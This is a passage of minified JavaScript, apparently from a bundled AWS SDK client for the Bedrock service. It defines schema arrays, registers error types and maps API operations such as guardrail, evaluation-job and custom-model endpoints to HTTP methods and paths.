Xk,Gk,$k,Zk],[0,0,0,[()=>H41,0],[()=>H41,0],[()=>Y41,0],[()=>Y41,0],2,2]],jJ3=[3,WA,hA3,0,[sw,De8,Se8,W41,M41,Xk,Gk,$k,Zk],[0,0,0,[()=>H41,0],[()=>H41,0],[()=>Y41,0],[()=>Y41,0],2,2]],MJ3=[3,WA,xA3,0,[f41],[[()=>NA4,0]]],PJ3=[3,WA,uA3,0,[f41],[[()=>NA4,0]]],VJ3=[3,WA,sA3,0,[He8,HA4],[[()=>gX3,0],[()=>MJ3,0]]],hA4=[3,WA,tA3,0,[Ye8,AA4],[[()=>FX3,0],[()=>PJ3,0]]],fJ3=[3,WA,FA3,0,[sw,wA4,UOA,Ae8],[0,1,[()=>TA4,0],2]],NJ3=[3,WA,QA3,0,[sw,wA4,UOA,Ae8],[0,1,[()=>TA4,0],2]],TJ3=[3,WA,dA3,0,[He8],[[()=>QX3,0]]],bA4=[3,WA,cA3,0,[Ye8],[[()=>UX3,0]]],xA4=[3,WA,eA3,0,[D53],[0]],uA4=[3,WA,A13,0,[j53,W53],[0,0]],vJ3=[3,WA,p13,0,[sw,Xk,Gk,$k,Zk],[0,[()=>Zn,0],[()=>Zn,0],2,2]],EJ3=[3,WA,d13,0,[sw,Xk,Gk,$k,Zk],[0,[()=>Zn,0],[()=>Zn,0],2,2]],kJ3=[3,WA,r13,0,[sw,UOA,Xk,Gk,$k,Zk],[0,0,0,0,2,2]],CJ3=[3,WA,o13,0,[sw,UOA,Xk,Gk,$k,Zk],[0,0,0,0,2,2]],LJ3=[3,WA,z63,0,[Dz,RY,me8,UOA,Xk,Gk,$k,Zk],[0,0,0,0,0,0,2,2]],RJ3=[3,WA,w63,0,[Dz,RY,me8,UOA,Xk,Gk,$k,Zk],[0,0,0,0,0,0,2,2]],yJ3=[3,WA,X63,0,[s33,y93],[()=>lX3,()=>nX3]],BA4=[3,WA,$63,0,[a33,M93],[()=>iX3,()=>rX3]],IJ3=[3,WA,O63,0,[Z41,sK3,$2,Dz,RY,Ax,KG,i0,Ft8],[0,0,0,[()=>v41,0],[()=>xLA,0],0,5,5,()=>uA4]],SJ3=[3,WA,W63,0,[Dz,ps1,Ke8,sw,Xk,Gk,$k,Zk],[[()=>EA4,0],[()=>vA4,0],[()=>oA4,0],0,[()=>z41,0],[()=>z41,0],2,2]],hJ3=[3,WA,j63,0,[Dz,ps1,Ke8,sw,Xk,Gk,$k,Zk],[[()=>EA4,0],[()=>vA4,0],[()=>oA4,0],0,[()=>z41,0],[()=>z41,0],2,2]],bJ3=[3,WA,T63,0,[IY3,HA4],[[()=>sX3,0],[()=>xJ3,0]]],mA4=[3,WA,v63,0,[JY3,AA4],[[()=>tX3,0],[()=>uJ3,0]]],xJ3=[3,WA,E63,0,[f41],[[()=>kA4,0]]],uJ3=[3,WA,k63,0,[f41],[[()=>kA4,0]]],BJ3=[3,WA,S63,0,[Pt1,Xk,Gk,$k,Zk],[0,[()=>Zn,0],[()=>Zn,0],2,2]],mJ3=[3,WA,b63,0,[Pt1,Xk,Gk,$k,Zk],[0,[()=>Zn,0],[()=>Zn,0],2,2]],gJ3=[3,WA,u63,0,[q23,C33],[[()=>eX3,0],[()=>dX3,0]]],gA4=[3,WA,B63,0,[z23,L33],[[()=>A$3,0],[()=>cX3,0]]],FJ3=[3,WA,g63,0,[N53,bt8,it8],[[()=>UJ3,0],[()=>K$3,0],[()=>rA4,0]]],QJ3=[3,WA,F63,0,[Dz,RY,T93],[[()=>fA4,0],[()=>D23,0],0]],UJ3=[3,WA,p63,0,[w53,Me8],[0,[()=>N23,0]]],pJ3=[3,WA,c63,0,[H33,YG],[[()=>w$3,0],0]],dJ3=[3,WA,n63,0,[YG,M8A,yZ,We8,ke8],[0,0,5,2,0]],cJ3=[3,WA,a63,0,[YG],[0]],lJ3=[3,WA,e63,0,[ss1,RY,KG,i0,as1,cOA,Ze8,$2,sw],[0,[()=>kt1,0],5,5,0,()=>aA4,0,0,0]],iJ3=[-3,WA,K83,{[tb]:se8,[eb]:500},[CV],[0]];Jk.TypeRegistry.for(WA).registerError(iJ3,Zt8);var nJ3=[3,WA,l63,0,[FY3,y53,v93],[2,()=>I$3,[()=>x$3,0]]],FA4=[3,WA,H83,0,[WY3],[()=>h03]],QA4=[3,WA,z83,0,[sY3],[[()=>oJ3,0]]],rJ3=[3,WA,Y83,0,[Ne8,YG,V93,Je8,m33],[0,0,[()=>QA4,0],[()=>VH3,0],()=>nO3]],oJ3=[3,WA,w83,0,[S33,d33,G53,k53,P93],[1,0,[()=>K14,0],[()=>pJ3,0],[()=>YX3,0]]],aJ3=[3,WA,_43,0,[cY3],[0]],sJ3=[3,WA,_83,0,[f3,Zq,GY],[[0,{[P8]:f3}],[0,{[P8]:Zq}],[1,{[P8]:GY}]]],tJ3=[3,WA,G83,0,[nK3,Zq],[[()=>TX3,0],0]],eJ3=[3,WA,X83,0,[f3,Zq,GY],[[0,1],[0,{[P8]:Zq}],[1,{[P8]:GY}]]],AO3=[3,WA,$83,0,[iK3,Zq],[()=>WX3,0]],KO3=[3,WA,W83,0,[f3,Zq,GY],[[0,1],[0,{[P8]:Zq}],[1,{[P8]:GY}]]],qO3=[3,WA,D83,0,[HY3,Zq],[[()=>vX3,0],0]],YO3=[3,WA,M83,0,[f3,ND,Zq,GY],[[0,1],[0,1],[0,{[P8]:Zq}],[1,{[P8]:GY}]]],zO3=[3,WA,P83,0,[LY3,Zq],[[()=>EX3,0],0]],wO3=[3,WA,T83,0,[es8,ts8,fD,GY,Zq,e_,AG,EV,K41],[[5,{[P8]:es8}],[5,{[P8]:ts8}],[0,{[P8]:fD}],[1,{[P8]:GY}],[0,{[P8]:Zq}],[0,{[P8]:e_}],[0,{[P8]:AG}],[0,{[P8]:EV}],[0,{[P8]:K41}]]],HO3=[3,WA,v83,0,[Zq,Z33],[0,()=>IX3]],JO3=[3,WA,E83,0,[vV,TV,fD,os8,At8,GY,Zq,e_,AG,qt8,q41],[[5,{[P8]:vV}],[5,{[P8]:TV}],[0,{[P8]:fD}],[0,{[P8]:os8}],[0,{[P8]:At8}],[1,{[P8]:GY}],[0,{[P8]:Zq}],[0,{[P8]:e_}],[0,{[P8]:AG}],[2,{[P8]:qt8}],[0,{[P8]:q41}]]],OO3=[3,WA,k83,0,[Zq,Yt1],[0,()=>SX3]],XO3=[3,WA,L83,0,[TV,vV,EV,ls8,fD,GY,Zq,e_,AG],[[5,{[P8]:TV}],[5,{[P8]:vV}],[0,{[P8]:EV}],[0,{[P8]:ls8}],[0,{[P8]:fD}],[1,{[P8]:GY}],[0,{[P8]:Zq}],[0,{[P8]:e_}],[0,{[P8]:AG}]]],$O3=[3,WA,R83,0,[Zq,c53],[0,()=>uX3]],_O3=[3,WA,S83,0,[$T,Yt8],[[0,1],[0,{[P8]:Yt8}]]],GO3=[3,WA,h83,0,[$T,c33],[0,()=>$$3]],ZO3=[3,WA,b83,0,[ss8,ns8,as8,rs8],[[0,{[P8]:ss8}],[0,{[P8]:ns8}],[0,{[P8]:as8}],[0,{[P8]:rs8}]]],WO3=[3,WA,x83,0,[Yt1],[()=>mX3]],DO3=[3,WA,B83,0,[FOA,GY,Zq],[[0,{[P8]:FOA}],[1,{[P8]:GY}],[0,{[P8]:Zq}]]],jO3=[3,WA,m83,0,[Z53,Zq],[[()=>aX3,0],0]],MO3=[3,WA,F83,0,[vV,TV,fD,GY,Zq,e_,AG],[[5,{[P8]:vV}],[5,{[P8]:TV}],[0,{[P8]:fD}],[1,{[P8]:GY}],[0,{[P8]:Zq}],[0,{[P8]:e_}],[0,{[P8]:AG}]]],PO3=[3,WA,Q83,0,[Zq,Yt1],[0,()=>q$3]],VO3=[3,WA,p83,0,[GY,Zq,GY3],[[1,{[P8]:GY}],[0,{[P8]:Zq}],[0,{[P8]:sw}]]],fO3=[3,WA,d83,0,[x53,Zq],[[()=>Y$3,0],0]],NO3=[3,WA,Y43,0,[GY,Zq,T33],[[1,{[P8]:GY}],[0,{[P8]:Zq}],[0,{[P8]:ILA}]]],TO3=[3,WA,z43,0,[M33,Zq],[()=>z$3,0]],vO3=[3,WA,l83,0,[TV,vV,EV,zt8,wt8,VY3,GY,Zq,e_,AG],[[5,{[P8]:TV}],[5,{[P8]:vV}],[0,{[P8]:EV}],[0,{[P8]:zt8}],[0,{[P8]:wt8}],[0,{[P8]:p33}],[1,{[P8]:GY}],[0,{[P8]:Zq}],[0,{[P8]:e_}],[0,{[P8]:AG}]]],EO3=[3,WA,i83,0,[Zq,O33],[0,()=>H$3]],kO3=[3,WA,n83,0,[TV,vV,EV,fD,GY,Zq,e_,AG],[[5,{[P8]:TV}],[5,{[P8]:vV}],[0,{[P8]:EV}],[0,{[P8]:fD}],[1,{[P8]:GY}],[0,{[P8]:Zq}],[0,{[P8]:e_}],[0,{[P8]:AG}]]],CO3=[3,WA,r83,0,[Zq,X33],[0,()=>J$3]],LO3=[3,WA,s83,0,[TV,vV,EV,fD,GY,Zq,e_,AG],[[5,{[P8]:TV}],[5,{[P8]:vV}],[0,{[P8]:EV}],[0,{[P8]:fD}],[1,{[P8]:GY}],[0,{[P8]:Zq}],[0,{[P8]:e_}],[0,{[P8]:AG}]]],RO3=[3,WA,t83,0,[Zq,W33],[0,()=>O$3]],yO3=[3,WA,e83,0,[Ht8,Jt8,EV,fD,GY,Zq,e_,AG],[[5,{[P8]:Ht8}],[5,{[P8]:Jt8}],[0,{[P8]:EV}],[0,{[P8]:fD}],[1,{[P8]:GY}],[0,{[P8]:Zq}],[0,{[P8]:e_}],[0,{[P8]:AG}]]],IO3=[3,WA,A43,0,[Zq,L53],[0,[()=>X$3,0]]],SO3=[3,WA,X43,0,[GY,Zq,sw],[[1,{[P8]:GY}],[0,{[P8]:Zq}],[0,{[P8]:sw}]]],hO3=[3,WA,$43,0,[q93,Zq],[[()=>_$3,0],0]],bO3=[3,WA,H43,0,[TV,vV,EV,K41,fD,GY,Zq,e_,AG],[[5,{[P8]:TV}],[5,{[P8]:vV}],[0,{[P8]:EV}],[0,{[P8]:K41}],[0,{[P8]:fD}],[1,{[P8]:GY}],[0,{[P8]:Zq}],[0,{[P8]:e_}],[0,{[P8]:AG}]]],xO3=[3,WA,J43,0,[Zq,A93],[0,()=>G$3]],uO3=[3,WA,Z43,0,[$t1],[0]],BO3=[3,WA,W43,0,[_y],[()=>lX]],UA4=[3,WA,V83,0,[Cq3,I93,$Y3,E53,lq3,rY3],[()=>Bz3,()=>dA4,2,2,2,2]],R41=[3,WA,h43,0,[pOA,ILA,$2,re8,KG,i0,ds1,eq3,K53],[0,0,0,0,5,5,()=>Bt1,0,0]],mO3=[3,WA,b43,0,[pOA,ILA,$2,re8,KG,i0],[0,0,0,0,5,5]],gO3=[3,WA,j43,8,[es1,sw,RY],[0,0,0]],FO3=[3,WA,P43,0,[c93,p93],[0,[()=>u$3,0]]],QO3=[3,WA,V43,0,[qG,$2,yZ,qA4,jt1,ce8,Zt1,YA4,Mt1,Dn,oe8],[0,0,5,0,0,0,0,0,()=>lX,0,0]],UO3=[3,WA,f43,0,[qG,O41,kV,$2,ie8,_k,yZ,dOA,Zq3,ut8,LLA],[0,0,0,0,()=>cA4,5,5,5,0,0,0]],pO3=[3,WA,C43,0,[qG,kV,$2,_k,yZ,dOA,_e8,os1],[0,0,0,5,5,5,0,0]],dO3=[3,WA,L43,0,[F93,JQ,le8],[0,0,0]],cO3=[3,WA,R43,0,[JQ,u93,le8],[0,0,0]],lO3=[3,WA,y43,0,[qG,kV,$T,JO,$y,$2,CV,ae8,_k,dOA,rs1,Mn,V8A,Dt1,Ve8],[0,0,0,0,0,0,[()=>CA4,0],5,5,5,()=>mt1,()=>gt1,()=>Vn,1,5]],iO3=[3,WA,B43,0,[g33,he8,XY3],[0,0,()=>S03]],nO3=[3,WA,m43,0,[X93],[()=>q03]],Rt1=[3,WA,g43,0,[JQ],[0]],rO3=[3,WA,Q43,0,[w33],[0]],oO3=[3,WA,s43,0,[D93],[()=>W$3]],aO3=[3,WA,n43,0,[Xt1,_t1,RY,KG,i0,hLA,cOA,ls1,$2,sw],[0,()=>yt1,[()=>Ct1,0],5,5,0,()=>xt1,()=>y41,0,0]],y41=[3,WA,o43,0,[YG],[0]],pA4=[3,WA,t43,0,[TY3],[[()=>E23,0]]],sO3=[3,WA,c43,0,[Ot1,Ht1,YG,lt8,we8,zt1,nt8,$2,Qs1,St8,yZ,_k],[0,0,0,0,0,1,1,0,0,5,5,5]],tO3=[3,WA,p43,0,[Ee8],[()=>UA4]],eO3=[3,WA,d43,0,[],[]],A03=[3,WA,A73,0,[ze8],[21]],K03=[3,WA,K73,0,[],[]],q03=[3,WA,q73,0,[sw],[0]],Y03=[3,WA,T73,0,[ps1,f8A],[0,()=>b$3]],z03=[3,WA,M73,0,[iq3,ILA],[[0,1],0]],w03=[3,WA,P73,0,[j41],[()=>R41]],H03=[3,WA,G73,0,[cs1,wt1],[[()=>J41,0],[()=>J41,0]]],J03=[-3,WA,_73,{[tb]:Wn,[eb]:400},[CV],[0]];Jk.TypeRegistry.for(WA).registerError(J03,ft8);var O03=[-3,WA,f73,{[tb]:Wn,[eb]:404},[CV],[0]];Jk.TypeRegistry.for(WA).registerError(O03,Wt8);var X03=[3,WA,Y73,0,[sw,l53,A53],[0,[()=>rJ3,0],[()=>DH3,0]]],$03=[3,WA,w73,0,[Ne8,n53],[0,[()=>QA4,0]]],yt1=[3,WA,O73,0,[C93],[1]],dA4=[3,WA,I73,0,[Hq3,o53],[0,0]],_03=[3,WA,h73,0,[JQ],[0]],G03=[3,WA,d73,0,[lY3],[0]],Z03=[3,WA,F73,0,[C53,B53,tq3,r53,K23],[1,0,0,0,()=>Vn]],W03=[-3,WA,c73,{[tb]:Wn,[eb]:400},[CV],[0]];Jk.TypeRegistry.for(WA).registerError(W03,Pt8);var D03=[-3,WA,i73,{[tb]:se8,[eb]:503},[CV],[0]];Jk.TypeRegistry.for(WA).registerError(D03,Nt8);var j03=[3,WA,k73,0,[f3,gs1,JO,S93],[[0,1],[0,1],[0,{[f53]:H23,[m53]:1}],[()=>Az3,16]]],M03=[3,WA,C73,0,[f3,ND],[0,0]],P03=[3,WA,R73,0,[f3,ND,wY3,JO],[[0,1],[0,1],64,[0,4]]],V03=[3,WA,y73,0,[f3],[0]],cA4=[3,WA,S73,0,[nY3,xq3,_Y3],[()=>a03,()=>Ew3,()=>u03]],f03=[3,WA,x73,0,[HQ],[[()=>bLA,1]]],N03=[3,WA,u73,0,[],[]],T03=[3,WA,m73,0,[HQ],[[0,1]]],v03=[3,WA,g73,0,[],[]],E03=[3,WA,U73,0,[HQ],[[0,1]]],k03=[3,WA,p73,0,[],[]],C03=[3,WA,l73,0,[k93],[0]],L03=[3,WA,n73,0,[es1,f8A],[0,0]],R03=[3,WA,wK3,0,[$t1,_y],[0,()=>lX]],y03=[3,WA,HK3,0,[],[]],I03=[3,WA,KK3,0,[PY3,V33],[0,1]],S03=[3,WA,r73,0,[xY3,A33,a93,tY3],[()=>oO3,()=>aJ3,()=>C03,()=>AX3]],h03=[3,WA,t73,0,[yY3,vY3,E33,r93],[1,1,1,64]],b03=[-3,WA,s73,{[tb]:Wn,[eb]:429},[CV],[0]];Jk.TypeRegistry.for(WA).registerError(b03,Dt8);var x03=[-3,WA,qK3,{[tb]:Wn,[eb]:400},[CV,E93],[0,0]];Jk.TypeRegistry.for(WA).registerError(x03,Vt8);var It1=[3,WA,o73,0,[JQ,R53],[0,[()=>nJ3,0]]],u03=[3,WA,a73,0,[$2,yZ,_k],[0,5,5]],lA4=[3,WA,AK3,0,[jY3],[1]],B03=[3,WA,CK3,0,[$t1,DY3],[0,64]],m03=[3,WA,LK3,0,[],[]],g03=[3,WA,XK3,0,[f3,ND,us1,Y33],[[0,1],[0,1],[()=>bt1,0],0]],F03=[3,WA,$K3,0,[f3,ND,Ct8,i0],[0,0,0,5]],Q03=[3,WA,_K3,0,[f3,SLA,Dz,RY],[[0,1],[()=>BLA,0],[()=>Pn,0],[()=>lOA,0]]],U03=[3,WA,GK3,0,[f3,Dz,X41,i0],[0,[()=>Pn,0],0,5]],p03=[3,WA,WK3,0,[f3,P8A,G41,P41,yLA,$41,CLA,JO],[[0,1],[0,1],[()=>N41,0],[()=>T41,0],5,0,1,[0,4]]],d03=[3,WA,DK3,0,[f3,P8A],[0,0]],c03=[3,WA,MK3,0,[FOA,Dz,RY,zA4,Bt8,ZA4,ne8,ht8,kt8,gt8,Bs1,ms1,At1],[[0,1],[()=>v41,0],[()=>xLA,0],[()=>mA4,0],[()=>hA4,0],[()=>gA4,0],()=>BA4,[()=>bA4,0],()=>IA4,()=>xA4,[()=>QOA,0],[()=>QOA,0],0]],l03=[3,WA,PK3,0,[RLA,is1,Ax,i0],[0,0,0,5]],i03=[3,WA,fK3,0,[pOA,ds1,JO],[[0,1],()=>Bt1,[0,4]]],n03=[3,WA,NK3,0,[j41],[()=>R41]],r03=[3,WA,vK3,0,[Jt1,uq3,bq3],[[0,1],0,0]],o03=[3,WA,EK3,0,[],[]],St1=[3,WA,SK3,0,[eY3],[()=>j$3]],a03=[3,WA,IK3,0,[$2,yZ,_k],[0,5,5]],s03=[-3,WA,hK3,{[tb]:Wn,[eb]:400},[CV],[0]];Jk.TypeRegistry.for(WA).registerError(s03,jt8);var t03=[3,WA,RK3,0,[JQ],[0]],e03=[3,WA,bK3,0,[oY3],[1]],AX3=[3,WA,gK3,0,[pK3],[0]],KX3=[3,WA,uK3,0,[J33,h33,_33],[()=>qX3,1,[()=>FO3,0]]],qX3=[3,WA,BK3,0,[YG,bs1],[0,143]],YX3=[3,WA,mK3,0,[sw,Jq3],[0,[()=>KX3,0]]],Vn=[3,WA,yK3,0,[m93,B93],[64,64]],zX3=[-3,te8,"BedrockServiceException",0,[],[]];Jk.TypeRegistry.for(te8).registerError(zX3,Ok);var wX3=[1,WA,cr5,0,[()=>M$3,0]],HX3=[1,WA,nr5,0,[()=>w41,0]],JX3=[1,WA,or5,0,[()=>P$3,0]],Ot8=[1,WA,er5,0,[()=>I23,0]],ht1=[1,WA,Yo5,0,()=>b23],OX3=[1,WA,Xo5,0,[()=>uLA,0]],XX3=[1,WA,_o5,0,[()=>m23,0]],kLA=[1,WA,Do5,0,[()=>F23,0]],bt1=[1,WA,fo5,0,[()=>tA4,0]],$X3=[1,WA,uo5,0,[()=>o23,0]],_X3=[1,WA,Fo5,0,[()=>a23,0]],GX3=[1,WA,Uo5,0,()=>s23],ZX3=[1,WA,do5,0,[()=>t23,0]],WX3=[1,WA,no5,0,()=>Kz3],DX3=[1,WA,Ka5,0,[()=>k41,0]],jX3=[1,WA,Oa5,0,[()=>C41,0]],MX3=[1,WA,_a5,0,[()=>sb,0]],iA4=[1,WA,Wa5,0,[()=>Yz3,0]],PX3=[1,WA,ja5,0,[()=>zz3,0]],VX3=[1,WA,Na5,0,[()=>L41,0]],nA4=[1,WA,Ea5,0,[()=>j8A,0]],fX3=[1,WA,za5,0,[()=>Gz3,0]],NX3=[1,WA,La5,0,[()=>Zz3,0]],TX3=[1,WA,ma5,0,[()=>Pz3,0]],vX3=[1,WA,Fa5,0,[()=>Lt1,0]],EX3=[1,WA,Ua5,0,[()=>LA4,0]],kX3=[1,WA,la5,0,[()=>v$3,0]],CX3=[1,WA,Hs5,0,[()=>Rz3,0]],LX3=[1,WA,Os5,0,[()=>yz3,0]],RX3=[1,WA,Gs5,0,()=>hz3],yX3=[1,WA,os5,0,()=>Pw3],IX3=[1,WA,zt5,0,()=>Nw3],SX3=[1,WA,jt5,0,()=>Tw3],rA4=[1,WA,ke5,0,[()=>YH3,0]],hX3=[1,WA,Se5,0,[()=>bLA,0]],bX3=[1,WA,Fe5,0,[()=>fA4,0]],xX3=[1,WA,he5,0,[()=>C$3,0]],uX3=[1,WA,oe5,0,()=>$H3],BX3=[1,WA,se5,0,[()=>ZH3,0]],Xt8=[1,WA,AA3,8,()=>jH3],mX3=[1,WA,zA3,0,()=>PH3],gX3=[1,WA,mA3,0,[()=>DJ3,0]],FX3=[1,WA,bA3,0,[()=>jJ3,0]],QX3=[1,WA,pA3,0,[()=>fJ3,0]],UX3=[1,WA,UA3,0,[()=>NJ3,0]],pX3=[1,WA,Z13,0,[()=>M23,0]],dX3=[1,WA,c13,0,[()=>vJ3,0]],cX3=[1,WA,l13,0,[()=>EJ3,0]],H41=[1,WA,i13,0,[()=>P23,0]],lX3=[1,WA,s13,0,()=>kJ3],iX3=[1,WA,a13,0,()=>CJ3],nX3=[1,WA,J63,0,()=>LJ3],rX3=[1,WA,H63,0,()=>RJ3],oX3=[1,WA,G63,0,[()=>V23,0]],aX3=[1,WA,Z63,0,[()=>IJ3,0]],oA4=[1,WA,f63,0,[()=>f23,0]],sX3=[1,WA,L63,0,[()=>SJ3,0]],tX3=[1,WA,M63,0,[()=>hJ3,0]],eX3=[1,WA,m63,0,[()=>BJ3,0]],A$3=[1,WA,x63,0,[()=>mJ3,0]],K$3=[1,WA,Q63,0,[()=>QJ3,0]],q$3=[1,WA,r63,0,()=>dJ3],aA4=[1,WA,t63,0,()=>cJ3],Y$3=[1,WA,A83,0,[()=>lJ3,0]],z$3=[1,WA,x43,0,()=>mO3],w$3=[1,WA,M43,0,[()=>gO3,0]],H$3=[1,WA,N43,0,()=>QO3],J$3=[1,WA,T43,0,()=>UO3],O$3=[1,WA,I43,0,()=>pO3],X$3=[1,WA,S43,0,[()=>lO3,0]],$$3=[1,WA,F43,0,()=>iO3],_$3=[1,WA,r43,0,[()=>aO3,0]],xt1=[1,WA,a43,0,()=>y41],G$3=[1,WA,l43,0,()=>sO3],Z$3=[1,WA,H73,0,[()=>h$3,0]],W$3=[1,WA,J73,0,()=>ew3],D$3=[1,WA,N73,0,()=>Y03],$t8=[1,WA,W73,0,[()=>H03,0]],_t8=[1,WA,$73,0,[()=>K14,0]],lX=[1,WA,e73,0,()=>L03],sA4=[1,WA,xK3,0,()=>e03],j$3=[1,WA,FK3,0,()=>t03],J41=[2,WA,D73,8,0,0],M$3=[3,WA,ir5,0,[Dq3],[[()=>Vw3,0]]],P$3=[3,WA,rr5,0,[A23,U53,e93,F53,YY3,OY3,b33],[[()=>g23,0],[()=>S23,0],[()=>x23,0],[()=>y23,0],[()=>B23,0],()=>u23,()=>h23]],tA4=[3,WA,Mo5,0,[Lt8,OA4,at8,Rt8,XA4,st8,Et8,JA4,ot8,cK3,BY3,mY3,v53],[[()=>d23,0],[()=>vz3,0],[()=>Jz3,0],[()=>i23,0],[()=>Cz3,0],[()=>$z3,0],[()=>Q23,0],[()=>Nz3,0],()=>wz3,[()=>U23,0],[()=>Vz3,0],[()=>fz3,0],[()=>Dz3,0]]],V$3=[3,WA,Bo5,0,[SLA,O93,Kq3,Xe8],[[()=>BLA,0],[()=>qz3,0],[()=>r23,0],[()=>Wz3,0]]],f$3=[3,WA,go5,0,[H93,y33],[()=>jz3,[()=>T$3,0]]],N$3=[3,WA,oo5,0,[r33,n33,i33],[[()=>L41,0],[()=>C41,0],[()=>k41,0]]],T$3=[3,WA,Ia5,0,[Lt8,OA4,at8,Rt8,XA4,st8,Et8,JA4,ot8],[[()=>c23,0],[()=>Ez3,0],[()=>Oz3,0],[()=>n23,0],[()=>Lz3,0],[()=>_z3,0],[()=>p23,0],[()=>Tz3,0],()=>Hz3]],v$3=[3,WA,ca5,0,[aK3,pY3,gq3],[[()=>l23,0],[()=>kz3,0],()=>Xz3]],E$3=[3,WA,Ks5,0,[dq3,K93],[[()=>ZX3,0],[()=>e23,0]]],ut1=[3,WA,ks5,0,[Sq3],[()=>AH3]],Bt1=[3,WA,fe5,0,[d93],[()=>Z03]],eA4=[3,WA,Ne5,0,[tK3,V53],[[()=>L23,0],[()=>FJ3,0]]],k$3=[3,WA,ve5,0,[JQ],[0]],A14=[3,WA,Le5,0,[cOA,j93],[[()=>xX3,0],[()=>Z$3,0]]],C$3=[3,WA,xe5,0,[qq3,t33],[[()=>KH3,0],()=>HH3]],L$3=[3,WA,ce5,0,[R93,_93],[()=>OH3,()=>JH3]],R$3=[3,WA,ue5,0,[yt8],[()=>RX3]],y$3=[3,WA,s63,0,[$q3],[0]],I$3=[3,WA,i63,0,[JQ],[0]],S$3=[3,WA,q83,0,[f93,$93],[[()=>$03,0],[()=>X03,0]]],I41=[3,WA,v43,0,[b93],[()=>_03]],mt1=[3,WA,E43,0,[g93],[()=>dO3]],gt1=[3,WA,k43,0,[l93],[()=>cO3]],h$3=[3,WA,z73,0,[i53,Y93],[[()=>S$3,0],()=>L$3]],b$3=[3,WA,v73,0,[s93,_53],[0,1]],x$3=[3,WA,Z73,0,[cs1,wt1,Tt8,Ie8],[[()=>J41,0],[()=>J41,0],[()=>$t8,0],[()=>$t8,0]]],u$3=[3,WA,V73,0,[$53,X53],[[()=>Xt8,0],[()=>Xt8,0]]],K14=[3,WA,X73,8,[cs1,wt1,M53,P53,q33,K33,Q53,I33,t93,s53,h93,Tt8,Ie8],[()=>Xy,()=>Xy,()=>Xy,()=>Xy,()=>Xy,()=>Xy,()=>Xy,()=>Xy,()=>Xy,()=>Xy,()=>Xy,[()=>_t8,0],[()=>_t8,0]]],B$3=[9,WA,zs5,{[a8]:["POST","/evaluation-jobs/batch-delete",202]},()=>Iz3,()=>Sz3],m$3=[9,WA,Ws5,{[a8]:["POST","/automated-reasoning-policies/{policyArn}/build-workflows/{buildWorkflowId}/cancel",202]},()=>xz3,()=>uz3],g$3=[9,WA,Zs5,{[a8]:["POST","/automated-reasoning-policies",200]},()=>gz3,()=>Fz3],F$3=[9,WA,Vs5,{[a8]:["POST","/automated-reasoning-policies/{policyArn}/test-cases",200]},()=>Qz3,()=>Uz3],Q$3=[9,WA,Ts5,{[a8]:["POST","/automated-reasoning-policies/{policyArn}/versions",200]},()=>pz3,()=>dz3],U$3=[9,WA,Cs5,{[a8]:["POST","/custom-models/create-custom-model",202]},()=>iz3,()=>nz3],p$3=[9,WA,Ls5,{[a8]:["POST","/model-customization/custom-model-deployments",202]},()=>cz3,()=>lz3],d$3=[9,WA,bs5,{[a8]:["POST","/evaluation-jobs",202]},()=>rz3,()=>oz3],c$3=[9,WA,Bs5,{[a8]:["POST","/create-foundation-model-agreement",202]},()=>az3,()=>sz3],l$3=[9,WA,Fs5,{[a8]:["POST","/guardrails",202]},()=>tz3,()=>ez3],i$3=[9,WA,ps5,{[a8]:["POST","/guardrails/{guardrailIdentifier}",202]},()=>Aw3,()=>Kw3],n$3=[9,WA,ls5,{[a8]:["POST","/inference-profiles",201]},()=>qw3,()=>Yw3],r$3=[9,WA,Gt5,{[a8]:["POST","/marketplace-model/endpoints",200]},()=>zw3,()=>ww3],o$3=[9,WA,as5,{[a8]:["POST","/model-copy-jobs",201]},()=>Hw3,()=>Jw3],a$3=[9,WA,Kt5,{[a8]:["POST","/model-customization-jobs",201]},()=>Ow3,()=>Xw3],s$3=[9,WA,Ht5,{[a8]:["POST","/model-import-jobs",201]},()=>$w3,()=>_w3],t$3=[9,WA,_t5,{[a8]:["POST","/model-invocation-job",200]},()=>Gw3,()=>Zw3],e$3=[9,WA,Nt5,{[a8]:["POST","/prompt-routers",200]},()=>Ww3,()=>Dw3],A_3=[9,WA,Pt5,{[a8]:["POST","/provisioned-model-throughput",201]},()=>jw3,()=>Mw3],K_3=[9,WA,kt5,{[a8]:["DELETE","/automated-reasoning-policies/{policyArn}",202]},()=>Lw3,()=>Rw3],q_3=[9,WA,Ct5,{[a8]:["DELETE","/automated-reasoning-policies/{policyArn}/build-workflows/{buildWorkflowId}",202]},()=>kw3,()=>Cw3],Y_3=[9,WA,St5,{[a8]:["DELETE","/automated-reasoning-policies/{policyArn}/test-cases/{testCaseId}",202]},()=>yw3,()=>Iw3],z_3=[9,WA,ut5,{[a8]:["DELETE","/custom-models/{modelIdentifier}",200]},()=>bw3,()=>xw3],w_3=[9,WA,Bt5,{[a8]:["DELETE","/model-customization/custom-model-deployments/{customModelDeploymentIdentifier}",200]},()=>Sw3,()=>hw3],H_3=[9,WA,Ut5,{[a8]:["POST","/delete-foundation-model-agreement",202]},()=>uw3,()=>Bw3],J_3=[9,WA,ct5,{[a8]:["DELETE","/guardrails/{guardrailIdentifier}",202]},()=>mw3,()=>gw3],O_3=[9,WA,nt5,{[a8]:["DELETE","/imported-models/{modelIdentifier}",200]},()=>Fw3,()=>Qw3],X_3=[9,WA,at5,{[a8]:["DELETE","/inference-profiles/{inferenceProfileIdentifier}",200]},()=>Uw3,()=>pw3],$_3=[9,WA,qe5,{[a8]:["DELETE","/marketplace-model/endpoints/{endpointArn}",200]},()=>dw3,()=>cw3],__3=[9,WA,et5,{[a8]:["DELETE","/logging/modelinvocations",200]},()=>lw3,()=>iw3],G_3=[9,WA,De5,{[a8]:["DELETE","/prompt-routers/{promptRouterArn}",200]},()=>nw3,()=>rw3],Z_3=[9,WA,Xe5,{[a8]:["DELETE","/provisioned-model-throughput/{provisionedModelId}",200]},()=>ow3,()=>aw3],W_3=[9,WA,Je5,{[a8]:["DELETE","/marketplace-model/endpoints/{endpointArn}/registration",200]},()=>sw3,()=>tw3],D_3=[9,WA,je5,{[a8]:["GET","/automated-reasoning-policies/{policyArn}/export",200]},()=>_H3,()=>GH3],j_3=[9,WA,LA3,{[a8]:["GET","/automated-reasoning-policies/{policyArn}",200]},()=>RH3,()=>yH3],M_3=[9,WA,HA3,{[a8]:["GET","/automated-reasoning-policies/{policyArn}/build-workflows/{buildWorkflowId}/annotations",200]},()=>fH3,()=>NH3],P_3=[9,WA,XA3,{[a8]:["GET","/automated-reasoning-policies/{policyArn}/build-workflows/{buildWorkflowId}",200]},()=>TH3,()=>vH3],V_3=[9,WA,_A3,{[a8]:["GET","